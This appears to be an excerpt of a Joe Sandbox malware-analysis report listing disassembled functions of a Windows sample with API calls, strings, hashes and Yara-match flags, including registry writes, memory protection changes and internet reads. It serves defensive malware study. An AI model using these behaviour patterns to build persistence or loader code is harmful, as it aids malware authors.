___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B5BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B5BBE2,04B5B186,04B5A997), ref: 04B5BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B5BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B5BC20
SetLastError.KERNEL32(00000000,04B5BBE2,04B5B186,04B5A997), ref: 04B5BC72

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 6aa0adfddb83c856484edfb267a0c027b78ea150434a97a385df620e2e433f01
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 3001B53620D7119EA7342BBD7CC4B6BEF65EB0167C72002B9E925A60F1EE5578026188

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A91FB584,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

CorExitProcess, xrefs: 004105BF
mscoree.dll, xrefs: 004105AE

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04D24410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D24495
__alloca_probe_16.LIBCMT ref: 04D2455E
__freea.LIBCMT ref: 04D245C5
__freea.LIBCMT ref: 04D245D8
__freea.LIBCMT ref: 04D245E5

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: ac3f8945c145c1e42f0d57a3a44e0cdf93e6509e6ccb2dcaf94a123c8b3c1567
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: C351DF72700267BFEB219F609E88EBB36A9FF6471CB150129FE54DA110EA71EC50C670

Function 04B52C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B52D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B52D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B52D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B52D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B52D8C

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: c672c41f61911b1122e435cbc337cb08610a312794d798e82e88b96d659db82a
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: 0A311435B01104AFEB149F58DC41FAAB7B8EF48300F4541E9EE05EB262DB31AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A91FB584,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B698F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B69956

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B69BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B69BEE
GetLastError.KERNEL32 ref: 04B69C91

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: 20fb629d2319977d8e0a90e53d90f576d992aa604d8022d50a419d1a00aad359
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: A0D17AB5E002489FDF15CFA8D880AEDBBF4FF48314F2845AAE556EB351D634A942CB50

Function 04B51BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B51C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B51C5F

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: d78022b190d199e24fa4dfbbd05c23e3d9b28f256aab605a1b678a320fa2b53c
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 0AC139B09002189FEB25DF68CC84BE9F7B4EF49304F1441D9E909AB2A0D775AE95CF91

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 04D1AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D1AF2B
___AdjustPointer.LIBCMT ref: 04D1AF4E
___AdjustPointer.LIBCMT ref: 04D1AFEA

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: ad983e33268ec80e8fa473f08664ec562ec492d4c89992667fdc6ab750ea82f8
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: A5517DB2702206BFEB299E50E880B6AB7A5FF40714F14452AFC45463B0E731F841D790

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04B5BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B5BD92
___AdjustPointer.LIBCMT ref: 04B5BDB5
___AdjustPointer.LIBCMT ref: 04B5BE51

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: d0f148aa2b80e401a00b4811aea432a4d4eefc3f6eb1a3b10e5899c9db3a88f6
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: D051C172608646AFEF299F54D841BBAF7A4EF04314F1849ADED415B2B0E731F880DB90

Function 04B51837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B5183C

Part of subcall function 04B59AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B59AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04B51872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04B518A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B519BE

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 6e3f2e1a642fde3a72807bcb7c352e9aa2a107c8b5806956307921275e9bfcb4
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 1E41EBB1E00300EBE7249F689C84B5AF7F8EF45254F1006A9ED5AD72A0E771BD05C7A1

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
